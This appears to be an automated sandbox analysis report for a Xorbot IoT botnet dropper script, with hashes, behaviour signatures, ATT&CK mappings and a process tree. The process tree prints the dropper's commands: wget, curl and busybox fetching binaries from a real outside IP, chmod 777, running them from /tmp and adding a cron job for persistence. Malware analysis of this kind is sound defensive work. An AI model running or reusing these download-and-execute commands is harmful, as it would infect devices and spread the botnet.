xorbot | 30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3

Analysis

max time kernel
124s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
06/01/2025, 00:57

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General

Target

bins.sh
Size

10KB
MD5

26909ebd103b5c17abb36dfc85e52cb4
SHA1

eced3893a9140d2eb071a6a411c050d74f61aba8
SHA256

30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3
SHA512

3618e101bb2f7b905fc69ae94d66d4fabd619b3bdca4bb4e8587a0d86e0ab68d9736b36ac420d4c1bc135283dcd9f2e12290312d6ef7f3331958b21e4ccd7584
SSDEEP

192:GZyl11kwJY8SC0v3vCeEeQ8el11kwk8Uv3vCeSt:GZyl11kwJmC0v3vCeEeQ8el11kwUv3vm

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1539) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
839	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk	742	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
/tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu	840	sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

Renames itself 1 IoCs

pid	Process
743	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2QwFJI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/816/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/853/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/973/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1068/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/337/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/813/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1057/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/852/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1009/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/760/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/865/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/905/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/996/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/14/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/316/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/758/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/985/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1004/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1033/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/13/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/70/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/895/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/990/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/998/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1018/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1037/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1067/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/737/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/762/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1090/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/780/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/802/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/823/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/904/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/930/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/958/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1006/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/5/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/800/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1010/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1049/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/882/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/970/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/7/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/781/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/808/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/920/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1039/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/21/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/798/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/820/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/878/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/967/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/981/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1035/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/1047/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/78/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/755/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/767/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/788/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/794/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/797/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/810/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
File opened for reading	/proc/856/cmdline	Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
842	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu	busybox
File opened for modification	/tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk	wget
File opened for modification	/tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk	curl
File opened for modification	/tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  ./Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:742
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:744
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:745
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:746
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:747
- /bin/rm
  rm Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
  2⤵
  PID:750
- /usr/bin/wget
  wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  PID:837
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  ./sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
  2⤵
  PID:841
- /usr/bin/wget
  wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
  2⤵
  - System Network Configuration Discovery
  PID:842

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.2QwFJI

Filesize
210B

MD5
c0f4660d2ada7fe963dc716a99ba5a43

SHA1
7a9166623bc7bbdc44fb18902d2caf2472acec40

SHA256
f81debb0f84b453f5c42c07d33df96352524de9e812469caa0af9d0207e8d4c4

SHA512
11ae2678bddbe138ca66c377d18e871bba67fe91737634535f1aafe7bd53672f5216a71fcfd4cf55c58f7582ff1e4409a0af90f4f3610f7a36ba6bcc88e5c54a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads